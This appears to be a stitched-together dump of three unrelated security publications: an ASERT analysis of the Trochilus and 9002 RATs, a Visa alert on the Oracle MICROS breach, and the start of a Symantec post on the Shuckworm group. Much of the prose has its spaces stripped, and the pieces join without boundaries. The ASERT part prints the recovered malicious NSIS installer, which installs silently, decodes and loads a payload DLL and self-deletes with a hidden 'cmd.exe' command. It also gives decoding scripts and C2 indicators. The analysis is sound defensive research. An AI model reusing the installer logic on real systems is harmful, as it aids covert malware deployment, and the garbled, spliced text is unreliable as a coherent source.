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17 Sample 6: Trochilus RAT Sample4and6arebothinstancesofthenewlydiscoveredTrochilusRAT.
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17 Sample 6: Trochilus RAT Sample4and6arebothinstancesofthenewlydiscoveredTrochilusRAT.
MD5(Update-Patch.rar)4e666c05656080180068f35cc7b026cbOctober21,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)abef3efb5972cfe4abdc4a9c99f67f0e MD5(plgus_res.dll)34dcfa1fa3e1573b2c401c195fb55833 MD5(shell.dll)fb1d808c6d332fc8176cfa00a8325341 MD5(data.dat)15e16b0659d30e77f21807f779df0f4b Trochilus RAT analysis (samples 4 and 6) Sincesample4and6areverysimilar,wewilldivedeeperintoananalysisofsample4,thefirstinstanceof theTrochilusRATthatweencountered,namedUpdate-Patch0999999.rar.
Analysisrevealspotentiallyuseful timestampsoffilesinsidetheRAR-Setup.exeisfromMarch10,2014andtheothertwofilesarefrom September23,2015.
Figure 10: Files from unpacked RAR of sample 4, Trochilus RAT Figure 11: Initial execution pop-up message ThefileSetup.exeisasignedbinarythatappearstobeapartofa legitimateMicrosoftSecurityEssentialspackage (http://binarydb.com/soft/Microsoft-Security-Essentials-v327664/2) thatloadsalegitimatebinarynamedSqmApi.dllaspartofnormal operations(sqmapiisinsidethebinariesimporttable).When Setup.exeisexecuted,itquicklyloadsitsowncopy,inthelocal directory,ofSqmApi.dllwhichthengeneratesapopuplabeled successthatprintsthestringupdateinstallsuccess.
Thispop-up messagehasbeenobservedinseveralofthemalwaresamples containedinthisset,andfurtherdriveshometheUpdatethemeof themalwareinstallationtacticthathasbeenobservedinfilenames.
TheSqmApi.dllfileexecutesandgeneratesthenetworkconnectionto222.222.222[.
]222onTCP/999just aftergeneratingtheupdateinstallsuccesspop-upmessage.
Next,plgus_res.dllisloadedandexecutedwith CreateProcessAasseeninthefollowingtwoimages.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 18 Proprietary and Confidential Information of Arbor Networks, Inc.
Figure 12: SqmApi.dll generates pop-up and initiates network connection Figure 13: Execution of SqmApi.dll results in the loading and execution of the file plgus_res.dll.
Figure 14: Debugger illuminates the use of CreateProcessA to load plgus_res.dll ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
19 Plgus_res.dllisactuallyaTrochilusRATinstallationpackagecreatedusingtheNullsoftInstaller(NSIS)format.
Extractingthecontentsofplgus_res.dllwithaspecificversionof7zip(7zbeta9.38inthiscaselaterversions didnotproperlyextracteveryfile)allowsallofthefilestobeviewed,includingtheNSISinstallationscript itself,createdby7zipas[NSIS].nsi.
Shell.dllanddata.datarebothobfuscatedfiles.
Shell.dllisnotanobvious PEfile,havingbeenobfuscatedviaanencodingscheme.
Figure 15: Files extracted from plgus_res.dll by 7zip reveal additional staging Oncethepackagefileplgus_res.dllisproperlydecrypted,injectedintomemoryandexecuted,themalware generatesanoutboundconnectionoverTCP/25.
Figure 16: Trochilus RAT outbound connection - obfuscated Itisinterestingtonotethatthefirstportionofbinarydatabeingsentfromthecompromisedmachine containsthehexvalue0x7e.
Followingthis,adatapacketcontaining0x7ebytesissent.
Inthescreenshot observedabove,thenetworkdestinationwasnolongeronline.
Therefore,trafficwasredirectedtoa simulatednetworkinordertocapturepackets.
Thismalwareattemptedtoevadesandboxanalysisonseveraloccasions,andwasthereforecoaxedtorun manually.
Themaliciouscodeinjectsintoservices.exe.
Thevolatilitymemoryforensicsframeworkmalfind ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 20 Proprietary and Confidential Information of Arbor Networks, Inc. pluginwasusedbyASERTresearchtodeterminethatservices.exehadbeentamperedwithandamemory dumpofthemalwarewasextracted.
Thismalwarethereforeappearstorunonlyinmemoryanddoesnot leaveafootprintonthedisk,exceptintheformofencodedfilesthatdonotexecutebythemselvesandare resistanttostaticfilemalwaredetectionprocessesandstaticanalysis.
TheShell.dllfileisstoredinanencodedmanner,withthefirst4095bytesbeingsubjecttoanXOR-based encodingscheme.
Thedata.datfilewasencodedinaverysimilarmannerexceptthewholefilewasencoded.
Inthecaseofshell.dllandotherfilesrecoveredfromwithinthisbatchofRARfiles,acursoryanalysisthat includesrunningthestringstooloverthebinariesrevealedsomeartifacts,yetmanydetails(includingPE headers)wereobfuscatedinsuchamannerthatstaticanalysistoolswilllikelymissthemaliciouscontents.
Therearetwoimportantvaluesthatneedtobeobtainedfromthe[NSIS].nsifilethatcorrespondtovariable 1andvariable2thatareusedinanNSISIntegerOperation(IntOp).Tousethefollowingscript(providedby ASERT)todecodeotherinstancesofshell.dll,thevalues227and240observedherewillneedtobereplaced withwhatevervaluesarepresentinsidethe[NSIS].nsifilefortheIntOp1andIntOp2functions(see AppendixIforthefullcontentsofarecovered[NSIS].nsifile).
import sys fp open(sys.argv[1], rb) enc_buf fp.read() fp.close() one 227 IntOp 1 227 0 two 240 IntOp 2 240 0 three 0 i 0 plain [] for enc_byte in enc_buf: if i 4095: break three (one two) 255 IntOp 3 1 2 IntOp 3 3 255 print xor key: 0xx three plain_byte ord(enc_byte) three IntOp R2 R2 3 plain.append(chr(plain_byte)) one two IntOp 1 2 0 two three IntOp 2 3 0 i 1 decrypted .join(plain) enc_buf[4096:] fp open(sys.argv[1] .decrypted, wb) fp.write(.join(decrypted)) fp.close() ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
21 Inthiscase,thedecodedfileMD5is304d83e15cce9b8dc826cdee2a96ef62andcanmoreeasilybeanalyzed withIDAProorotherstaticanalysistools.
Oncecleanbinarieswereextractedbythepythonscript,artifactsrevealedaconnectiontosourcecodeshared athttps://github[.
]com/5loyd/trochilusknownastheTrochilusRAT.TrochilusisacharacterfromGreek mythologythatapparentlyinventedthechariot,butthewordalsomeansakindofsmallbirdandcanrefer toseveraltypesofhummingbirds.
Athirdmeaningcomesfromarchitecture,howevertheexactmeaning intendedbythedeveloperisunknown.
TheNSISscripttechniqueappearstobeinstrumentedinsidethebuilderforTrochilus,namedGenerator.exe.
Thedefaultparameters(3and5)forthesecond-layerencodingschemeusedbyTrochiluswereobservedin thisbatchofsamples,wherethefinalpayloadwasencodedinsidedata.datbyaroutinecalled XorFibonacciCrypt.
IftheUSE_ENCRYPTED_COREtokenisenabledduringthebuild,thenthisencodingroutine isactivated.
ifdefUSE_ENCRYPTED_CORE debugLog(_T(decryptdllfile)) XorFibonacciCrypt((LPBYTE)content,content.
Size(),(LPBYTE)content,3,5) endif Thiscodecanbefoundinhttps://github[.
]com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp ThesourcecodeforShell.dllcanbefoundat https://github[.
]com/5loyd/trochilus/tree/master/client/servant/shell Variousmemoryartifactsfoundfromtrochilus-master/client/servant/shell/SvtShell.cppindicatethatthe threatactorsareatleastusingthisportionofthecode.
OtherartifactswerefoundfromShell.cppinthesame directory.
Forexample,thedata.datfilecanbefoundreferencedat https://github[.
]com/5loyd/trochilus/tree/master/client/servant/body Thedata.datfilesbuiltandencodedbyTrochiluscanbedecodedusingthefollowingscript: import sys fp open(sys.argv[1], rb) enc_buf fp.read() fp.close() these are passed as arguments to the decrypt function key_material_1 5 key_material_2 3 plain [] for enc_byte in enc_buf: xor_key (key_material_2 key_material_1) 255 plain_byte ord(enc_byte) xor_key ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 22 Proprietary and Confidential Information of Arbor Networks, Inc. plain.append(chr(plain_byte)) key_material_2 key_material_1 key_material_1 xor_key fp open(sys.argv[1] .decrypted, wb) fp.write(.join(plain)) fp.close() https://github[.
]com/5loyd/trochilus/blob/master/client/servant/body/common.cppcontainsaroutinecalled XorFibonacciCryptthatmatchescodeobservedinsidetheDLLandinsidetheNSISpackageconfiguration: for (DWORD i 0 i dwPlainLen i) BYTE xorchar (last1 last2) MAXBYTE last2 last1 last1 xorchar lpOutput (lpSource) xorchar lpOutput lpSource Figure 17: Trochilus RAT readme file describes basic capabilities Obtainingthesourcetothemalwareprovided manyinsights,includingthefundamental READMEthatdescribesthebasicfunctionalityof theRAT(observedinFigure17).Other researchersandanalystswhowishtoobtain additionalinsightshoulddownloadthecodefor furtheranalysis.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
23 Aftercompilingthesourcecode,theclientbuilderfortheTrochilusRATmalwareappearsassuch: Figure 18: Trochilus RAT builder Generator.exe with Chinese - English translations Thebuilderapplication,namedGenerator.exe(MD5:4710c9f5dc156db756dab7e017b0bdb3)providesan optionforanIPaddress(defaultof127.0.0.1)andanoptiontoselectHTTP,HTTPS,TCP,orUDP.Thedefault portvalueforallsettingsis8081,andtheothervaluesare-1.Generatingthemalwareusingthedefault settings(asseenabove)resultsinthecreationofagenerator.inifile,whichprovidesat-a-glanceinsightinto howthesevaluesareused.
Figure 19: Sample Trochilus RAT INI file Agreatnumberofadditionalinsightsintothis malwareareavailableviathesourcecodeforthose thatwishtoperformfurtherinvestigations.
Sufficeit tosaythatthismalwareisbeingusedintargeted threatoperationsanddeservesadditionalattention.
Itiscurrentlyunknownif5loyd(akafloyd419,using mailfloyd419[]foxmail.com)hasanyconnectionto threatactorsinvolved,orissimplyprovidingcode thatothershaveused.
Severalwatchersof5loyd codeongithubalsoprovideinterestingcode projectsthatcouldbeusedinadvancedcampaigns.
5loydhasalsocontributedtoaWindowscredential dumpingapplicationknownasquarkspwdumpthat maybeofinteresttoadvancedthreatresearchers.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 24 Proprietary and Confidential Information of Arbor Networks, Inc.
Figure 20: Github page for 5loyd where the trochilus RAT code is published Figure 21: Forum avatar for a user named floyd419 Thebulkofdevelopmentactivitysincetheprojectwassharedongithub tookplacebetweenMayandJulyof2015.OSINTonthee-mailaddress associatedwith5loydrevealausernamedfloyd419thathadpostedona Chinesematlabforum[6].Nothingfurtherwasobtainedonthisauthorat thistime,althoughavarietyofotherpotentiallyinterestingconnectionscan beobserved.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
25 AwarenessoftheTrochilusRATseemsverylow,basedonsearchinquiries.
Noresultswerereturnedin English,howeveronehitwasreturnedwhensearchingtheChinesewebspace[http://weisuo[.
]org/?post136] fromasitecallingitselfVilliageMudhorse(-).ThesitediscussesvariousTTPsofsystem penetration.
Thefirstuseronthesite(http://weisuo[.
]org/?author1),c4bbagepostedthecontentsofthe githubTrochiluspageonMay23,2015.Whilec4bbageshowsastronginterestinsystempenetrationand relatedtools,therearenoindicationsthatc4bbageisinvolvedinthethreatactivitydescribedherein.
Howeverthesitelikelyhelpedmorepeoplelearnabouttrochilus.
Figure 22: Posting about trochilus RAT on Chinese forum Initialinspectionsuggeststheremayonlybetwousersonthissite,author1c4bbageandauthor3zcgonvh.
Browsingthepageofzcgonvh(http://weisuo[.
]org/?author3)revealsdiscussionsabouttheChinaChopper webshell,knowntobeusedbyvariousChineseAPTactors.
Thispageindicatesthatzcgonvhistheauthorof ChinaChopper.
AlinktodownloadChinaChopperisalsopresentonthesite,butthecodeisinsideapassword protectedZIP.Despiteattemptstoutilizethepasswordprovidedonthepage,thepasswordwasnotaccepted.
ThelinkthatdiscussesChinaChopperishttp://weisuo[.
]org/?post49.Whilethisisaninterestingbitof informationthatprovideslinkstootherChineseAPTtacticsandtools,exploringthisfurtherconnectionis beyondthescopeofthisdocumentandisleftasafutureexercise.
Muchmoreinsightcanbeobtainedviathesourcecode,howeverthebottomlineisthattheTrochilusRAT appearstoberelativelynewandnowthatithasbeendiscoveredinthewildaspartoftargetedthreat campaignactivity,defenderscanoperatewithadditionalawareness.
Malware sample 7: 9002 RAT in Firefox Plugin Anunprofiledinstanceofthe9002RAT(3102variant)wasfoundinsideamaliciousFirefoxpluginfoundat http://www.uecmyanmar[.
]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.phpandwassubmittedto VirusTotalonAugust21,2015fromJapanandlateronOctober13fromSingapore.
Thisfileisnolonger presentontheUECwebsite,butprovidesfurtherinsightintothreatactivity.
WhiletheRATfamilyandvariant isthesameasdiscussedbyCitizenLab,thisisadistinctsample.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 26 Proprietary and Confidential Information of Arbor Networks, Inc. Filename:FlashVideoPlayer.php MD5:fcd3bec917b1cc095c1f2b06a75c9412 ThepluginisbuiltinsideaZIPfileconstructandcontainsthefollowingcontents: MD5(bootstrap.js)bdd4b626ee6f2e15d7c3f80e7677003b MD5(chrome.manifest)29f3da9349f67129dd66e245d5187b72 MD5(eZNSMZ8r.exe)666522db14a021d1e255cc28c9fd8721 MD5(install.rdf)010922d600054fe89cd1d98b53395d54 MD5(overlay.xul)7f0be0ea9075dda2b318082d14c2181d ThemalwareitselfistheeZNSMZ8r.exefile,oftenmisclassifiedastheGamaruemalware.
Thebootstrap.jsfilereferencestheEXEasfollows: xpi_guid65d5c9ea-f5d6-e277-4254-ce58d766656epayload_nameeZNSMZ8r.exe AuserinstallingthisAdd-onwouldreceivethefollowingwarning(whenusingarecentversionofFirefox): Figure 23: Malicious Firefox add-on notification indicates that the add-on is unverified IgnoringthepromptresultsinthepresenceofafakeAdobeFlashPlayerintheExtensionslistfromwithin theFirefoxabout:addonsmenu.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
27 Figure 24: Artifacts left from unsuccessful installation of the malware AcceptingtheriskandclickingonInstallresultsinthespawningoftwoadditionalprocesses.
Oneisthe aforementionedinstanceofthemaliciousbinarynamedeZNSMZ8r.exe(runningfrom C:\Windows\tasks\eZNSMZ8r.exe),whichlaunchesanotherexecutablenamedUntitled.exe.
Figure 25: Execution path of the 3102 variant of the 9002 RAT Oncethemalwareissuccessfullyinstalled,thereisnoindicationthatanextensionisactive,asthe ExtensionslistinFirefoxdoesnotreflectthepresenceofAdobeFlashPlayer(asseenabove,fromanon- successfulinstallation).OnceFirefoxisclosed,themalwarecontinuestoexecute.
ThemalwaremakesaDNSqueryforclient.secvies[.]com,whichasofthiswritingresolvesto123.1.181[.
]38 butpreviouslyresolvedto103.240.203[.
]100fromthetimeperiodofAugust20-252015.SincethislatterIP addressmorecloselycorrespondswiththetimingschemeassociatedwiththecampaign,areviewofother resolutionsforthisIPisofinterestandrevealsotherPlugXactivitytakingplaceonthedomain googletranslatione[.
]com.
AFulltableofinterestingdomainresolutionsforthisIPandtheirtimestampsisincludedherein: Chinarrw[.
]com 2015-11-1711:16:18 2015-11-1711:16:18 7caitu[.
]com 2015-11-1018:38:03 2015-11-1018:38:03 www.chinarrw[.
]com 2015-11-0519:13:37 2015-11-0519:13:37 7caitu[.
]com 2015-10-2907:22:22 2015-11-0414:00:47 googletranslatione[.
]com 2015-08-0409:39:46 2015-08-2515:17:56 PlugX client.secvies[.
]com 2015-08-2020:16:58 2015-08-2505:02:28 EvilGrab(orotherRAT) ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 28 Proprietary and Confidential Information of Arbor Networks, Inc. Asthemalwareexecutes,weseethetelltalebeaconofthe3102variantofthe9002RATasitbeaconstothe C2,aswellasanidentifierbeingsendofUEC21050816whichlikelyindicatesthedateandsubjectof interestinvolvedinthethreatactivity.
FurtherintotheC2beaconpacketweseeinformationaboutthe compromisedmachine.
Figure 26: 3102 variant of the 9002 RAT beaconing to C2 with identifier UEC 20150816 Recommendations MalwaresuchasPlugX,the9002RAT,EvilGrab,andthenewlydiscoveredTrochilusRATareinuseinthewild andarelikelyprovidingactorswiththetoolstheyneedtoperformactionsonobjectivesagainsttheirtargets.
Bothhostandnetworkmonitoringprocessesshouldbeputintoplaceinordertodetectthesemalware families.
Whilethesemalwarefamilieshaveclearlybeenusedagainstothertargets(withtheexceptionofTrochilus whichrequiresfurtherresearch),organizationswithinandrelatedtoMyanmar,orthoseorganizations associatedwiththeUNDPshouldbeawarethattheymayhavebeen(andmaystillbe)atargetandshould remainalerttoanypastorfuturee-mailmessagesthatmightcontainspearphishorexploitcodein attachments.
Duetospearphishdeliveryinotherrelatedcampaigns,anymailmessagesorothercontentthat pointuserstowardsinteractionswithRARfilesarealsopotentiallysuspicious.
Additionally,aninvestigation shouldbetriggeredwhensuchorganizationsobservenetworktrafficthatrelatesthecontentdescribed herein.
Ingeneral,incidentrespondersandthreatintelligencestaffshouldbeawareofgeopoliticaltargetingthat affectstheirinterestsandtakeappropriateactions.
Iflogfilescontainingmaliciousactivityareavailable,they canbeleveragedtodeterminethreatcampaignactivity.
Thisallowsresponderstotrackspearphishattempts andotherexploitationvectorsfromthesourcetoanytargetedsystems.
Ongoingaccesstostrategic informationisoftentheultimategoalofthreatactors.
Determiningwhatstrategicinformationisofinterest canhelporganizationsbetterpinpointdefensivetechnologiestodetectcompromise,thuslimitingtheir exposureandexfiltrationofsensitivedata.
ArborASERTisinterestedinanyartifactsfromtheuseofthesemalwareandencouragesanycustomersor otherorganizationsthathavebeentargetedtocontactusforadditionaldiscussions.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
29 Appendix I: NSIS script used to unpack and process Trochilus RAT samples NSIS script NSIS-3 Install SetCompressor /SOLID lzma SetCompressorDictSize 8 -------------------- HEADER SIZE: 3976 START HEADER SIZE: 300 MAX STRING LENGTH: 1024 STRING CHARS: 898 OutFile [NSIS].exe include WinMessages.nsh SilentInstall silent -------------------- LANG TABLES: 1 LANG STRINGS: 38 Name Test BrandingText Nullsoft Install System v3.0b2 LANG: 1033 LangString LSTR_0 1033 Nullsoft Install System v3.0b2 LangString LSTR_1 1033 (LSTR_2) Setup LangString LSTR_2 1033 Test LangString LSTR_5 1033 Cant write: LangString LSTR_8 1033 Could not find symbol: LangString LSTR_9 1033 Could not load: LangString LSTR_17 1033 Error decompressing data Corrupted installer?
LangString LSTR_19 1033 ExecShell: LangString LSTR_21 1033 Extract: LangString LSTR_22 1033 Extract: error writing to file LangString LSTR_24 1033 No OLE for: LangString LSTR_25 1033 Output folder: LangString LSTR_29 1033 Skipped: LangString LSTR_30 1033 Copy Details To Clipboard LangString LSTR_36 1033 Error opening file for writing: \r\n\r\n0\r\n\r\nClick Abort to stop the installation,\r\nRetry to try again, or\r\nIgnore to skip this file.
LangString LSTR_37 1033 Custom InstType (LSTR_37) Custom wininit WINDIR\wininit.ini -------------------- ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 30 Proprietary and Confidential Information of Arbor Networks, Inc.
SECTIONS: 1 COMMANDS: 56 Section RC Section_0 AddSize 362 SectionIn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 RO StrCpy R1 1024 System::Call kernel32::ExpandEnvironmentStrings(t \ALLUSERSPROFILE\WEventsCache\,t .R1,i 1024) Call Initialize_____Plugins SetOverwrite off File PLUGINSDIR\System.dll SetDetailsPrint lastused Push kernel32::ExpandEnvironmentStrings(t \ALLUSERSPROFILE\WEventsCache\,t .R1,i 1024) CallInstDLL PLUGINSDIR\System.dll Call StrCpy INSTDIR R1 SetOutPath INSTDIR SetOverwrite on File shell.dll File data.dat FileOpen R1 INSTDIR\Shell.dll a IntOp 1 105 0 IntOp 2 141 0 IntOp 3 0 0 StrCpy R3 0 Goto label_17 label_16: IntOp R3 R3 1 label_17: IntCmp R3 4095 0 0 label_29 IntOp 3 1 2 IntOp 3 3 255 FileReadByte R1 R2 FileSeek R1 -1 CUR IntOp R2 R2 3 FileWriteByte R1 R2 IntOp 1 2 0 IntOp 2 3 0 Goto label_16 Goto label_16 Goto label_29 label_29: FileClose R1 System::Call INSTDIR\Shell.dll::Init(i 1) Call Initialize_____Plugins SetOverwrite off AllowSkipFiles off File PLUGINSDIR\System.dll SetDetailsPrint lastused Push INSTDIR\Shell.dll::Init(i 1) CallInstDLL PLUGINSDIR\System.dll Call System::Call kernel32::GetModuleFileName(i 0,t .R1,i 1024) Call Initialize_____Plugins File PLUGINSDIR\System.dll ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
31 SetDetailsPrint lastused Push kernel32::GetModuleFileName(i 0,t .R1,i 1024) CallInstDLL PLUGINSDIR\System.dll Call ExecShell open cmd.exe /c ping 127.0.0.1del \R1\ SW_HIDE open cmd.exe SectionEnd / Function Initialize_____Plugins SetDetailsPrint none StrCmp PLUGINSDIR 0 label_52 Push 0 SetErrors GetTempFileName 0 Delete 0 CreateDirectory 0 IfErrors label_53 StrCpy PLUGINSDIR 0 Pop 0 label_52: Return label_53: MessageBox MB_OKMB_ICONSTOP Error Cant initialize plug-ins directory.
Please try again later.
/SD IDOK Quit FunctionEnd / NOTE:apossiblyimperfectreconstructionoftheNSISscriptresultsinartifactsbelow.
--------------------
UNREFERENCED STRINGS: / 1 ProgramFilesDir 17 CommonFilesDir 32 C:\Program Files 49 PROGRAMFILES 53 PROGRAMFILES\Common Files 70 COMMONFILES / Severalinterestingelementsinsidethisscriptstandout.
Inparticular,weseeSilentInstallsilentwhichlikely makesforaninstallationofthemalwarethatprovidesnonotificationtotheuser.
Weseethatthreatactors haveusedNullsoftInstallSystemv3.0b2,whichwasreleasedonAugust5,2015andprovidesforWindows10 installationsupport[http://sourceforge.net/p/nsis/news/2015/08/nsis-30b2-released/].Therefore,wecan knowthatatleastthispackagewasdesignedafterAugust5,2015.WecanseefromtheconfigthattheLZMA compressionoptionisused(SetCompressor /SOLID lzma)whichapparentlyprovidesforhighercompression rates.
The/SOLIDoptioncompressesalloftheinstallerdataintooneblock,resultingingreatercompression ratios(andpotentiallyfurthercomplicatingstaticanalysisanddetectionroutines).
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 32 Proprietary and Confidential Information of Arbor Networks, Inc. References 1.
https://asert.arbornetworks.com/defending-the-white-elephant/ 2.
http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on- president-of-myanmars-website/ 3.
https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/ 4.
http://pages.arbornetworks.com/rs/082-KNA- 087/images/ASERT20Threat20Intelligence20Brief202015- 0520PlugX20Threat20Activity20in20Myanmar.pdf 5.
http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted- attack-campaigns.pdf 6.
http://webcache.googleusercontent.com/search?qcache:yZN1nJdkDD0J:www.ilovematlab.cn/space- uid-896373.htmlcd11hlenctclnkglus AboutASERT TheArborSecurityEngineeringResponseTeam(ASERT)atArborNetworksdeliversworld-classnetwork securityresearchandanalysisforthebenefitoftodaysenterpriseandnetworkoperators.
ASERTengineers andresearchersarepartofanelitegroupofinstitutionsthatarereferredtoassuperremediators,and representthebestininformationsecurity.
Thisisareflectionofhavingbothvisibilityandremediation capabilitiesatamajorityofserviceprovidernetworksglobally.
ASERTsharesoperationallyviableintelligencewithhundredsofinternationalComputerEmergencyResponse Teams(CERTs)andwiththousandsofnetworkoperatorsviaintelligencebriefsandsecuritycontentfeeds.
ASERTalsooperatestheworld1slargestdistributedhoneynet,activelymonitoringInternetthreatsaroundthe clockandaroundtheglobeviaATLAS,Arborsglobalnetworkofsensors:http://atlas.arbor.net.
Thismission andtheassociatedresourcesthatArborNetworksbringstobeartotheproblemofglobalInternetsecurityis animpetusforinnovationandresearch.
Toviewthelatestresearch,news,andtrendsfromArbor,ASERTandtheinformationsecuritycommunityat large,visitourThreatPortalathttp://www.arbornetworks.com/threats/.
1 Visa Security Alert AUGUST 2016 O R A C L E M I C R O S C O M P R O M I S E N O T I F I C A T I O N Distribution: Issuers, Acquirers, Processors and Merchants Summary: On Monday, 8 August 2016, Oracle Security informed Oracle MICROS customers that it had detected malicious code in certain legacy MICROS systems.
Oracle is currently investigating the compromise, and as of 12 August 2016, the company has not published details about the cause/s.
Visa is issuing this alert to provide indicators of compromise (IOCs) associated with cybercrime threats known to have previously targeted Oracle systems.
About Oracle MICROS Oracle MICROS offers a range of software, hardware and related services, including point-of-sale systems (POS) along cloud solutions to manage hotels, food and beverage facilities, and retailers.
According to Oracle Micros, MICROS technologies are in use across 330,000 customer sites in 180 countries.
Oracle Customer Notification According to media sources, Oracle Security provided a notification to Oracle MICROS customers on 8 August 2016, informing them of the following: Oracle Security has detected and addressed malicious code in certain legacy MICROS systems Oracle has confirmed that its investigating a breach of its Micros division.
Oracles own systems, corporate network, and other cloud and service offers were not impacted.
Oracle MICROS users will have to change their account passwords immediately The company reportedly stated that payment data was not at risk, as that information is encrypted both at rest and in transit in the MICROS environment.
Although Oracle has not provided additional details on the exact date or extent of the breach of Oracle MICROS, some media reports suggest that the support portal for MICROS clients was also compromised.
1.
Cybercrime threats to Oracle MICROS Visa is aware of two cybercrime threats, Carbanak and MalumPOS, which have previously targeted Oracle systems.
Indicators of compromise (IOCs) associated with both Carbanak and MalumPOS are provided in section two [2] of this report.
Carbanak On 8 August 2016, a media source reported that the Oracles MICROS customer support portal was seen communicating with a server known to be used by the Carbanak.
According to Kaspersky Lab, in February 2015, the Carbanak group used techniques commonly seen in Advanced Persistent Threat (APT) incidents to successfully target one financial institutions (a bank) money processing services, Automated Teller Machines (ATM) and financial accounts.
In some cases, Oracle http://www.oracle.com/us/corporate/acquisitions/micros/index.html http://www.zdnet.com/article/oracle-said-to-be-investigating-data-breach-at-point-of-sale-division/ http://krebsonsecurity.com/2016/08/data-breach-at-oracles-micros-point-of-sale-division/ http://krebsonsecurity.com/2016/08/data-breach-at-oracles-micros-point-of-sale-division/ https://blog.kaspersky.com/billion-dollar-apt-carbanak/7519/ 2 databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between accounts using the online banking system.
The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it as part of this operation.
In March 2015, Visa provided an industry-wide public alert and mitigation guidance concerning Carbanak.
Visa recommends that all financial institutions and retailers scan their networks for the presence of Carbanak.
If detected, please contact law enforcement immediately and activate security incident procedures.
MalumPOS Discovered by TrendMicro in 2015, MalumPOS is known to specifically target Oracle MICROS point-of- sale devices.
MalumPOS is described as simple and non-obfuscated malware, written in the Delphi programming language.
Visa is aware that MalumPOS is still actively used by cyber criminals.
2.
Mitigation action recommended for Oracle Micros Customers Change passwords for any account used by a MICROS representative to access the customers on-premises systems.
Scan network for the following: Psexec file Files with .bin extension (located in \All users\AppData\Mozilla\ or c:\ProgramData\Mozilla\) Svchost.exe file (located in Windows\System32\com\catalogue\) Svchost.exefile (located in C:\ProgramData\Mozilla\svchost.exe) This file provided remote access functions, such as the ability to execute arbitrary commands, upload/download files.
Operating system (Windows) running services ending in sys Scan networks for IOCs linked to Carbanak: https://usa.visa.com/dam/VCOM/download/merchants/Alert-CARBANAK.pdf http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-malumpos-targets-hotels-and-other-us-industries/ 3 Scan networks for IOCs linked to MalumPOS: File Name File Name Description Mnv.exe 757ae5eed0c5e229ad9bae586f1281b5de053767 Oracle Forms process, MICROS 9700 VISAD Driver Nvsvc.exe 2cf2f41d2454b59641a84f8180fd7e32135a0dbc MICROS 9700 SSL GW Nvsvc.exe f728bf7d6dbfc4c7bea21d6a3fd0b88f4fe52a4a Oracle Forms process, Web- based PoS systems Nvsvc.exe 798bc2d91293c18af7e99ba7c9a4fd3010051741 Accessed through MicrosoftTM, Windows Internet Explorer, Shift4 Corporation Universal Nvsvc.exe 90e85b471b64667dbcde3aee3fa504c0d4b0ad35 Transaction Gateway, PAR Springer-Miller Systems Rdp.exe fe713f9bb90b999250c3b6a3bba965d603de32a3 Looks like a test Winini.exe d0b3562d868694fd1147e15483f88f3a78ebedfb Client stub Additionally, Visa recommends the following best practices to reduce the risk of exposure: Educate employees how to avoid phishing scams and opening emails with attachments Maintain updates for all software and patches (address zero day vulnerabilities) Turn on heuristics (behavioral analysis) on anti-malware to search for suspicious behavior Visa will continue to report any mitigation guidance, technical indicators of compromise associated with this compromise, or additional details on the overall extent of the compromise as details are made available.
For questions and information please contact, paymentintelligencevisa.com To report a data breach, contact Visa Fraud Control: Asia Pacific Region, Central Europe/Middle East/Africa Region: VIFraudControlvisa.com U.S. and Canada: USFraudControlvisa.com mailto:paymentintelligencevisa.com
1/3 Shuckworm: Espionage Group Continues Intense Campaign Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is continuing to mount an intense cyber campaign against organizations in Ukraine.
Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared in 2014.
These attacks have continued unabated since the Russian invasion of the country.
While the groups tools and tactics are simple and sometimes crude, the frequency and persistence of its attacks mean that it remains one of the key cyber threats facing organizations in the region.
Multiple payloads One of the hallmarks of the groups recent activity is the deployment of multiple malware payloads on targeted computers.
These payloads are usually different variants of the same malware (Backdoor.
Pterodo), designed to perform similar tasks.
Each will communicate with a different command-and-control (CC) server.
The most likely reason for using multiple variants is that it may provide a rudimentary way of maintaining persistence on an infected computer.
If one payload or CC server is detected and blocked, the attackers can fall back on one of the others and roll out more new variants to compensate.
Symantecs Threat Hunter Team, part of Broadcom Software, has found four distinct variants of Pterodo being used in recent attacks.
All of them are Visual Basic Script (VBS) droppers with similar functionality.
They will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a CC server.
All of the embedded VBScripts were very similar to one another and used similar obfuscation techniques.
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data/reports_final/0102.txt
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Backdoor.
Pterodo.
E The final variant is functionally very similar to variants B and C, engaging in API hammering before extracting two VBScript files to the users home directory.
Script obfuscation is very similar to other variants.
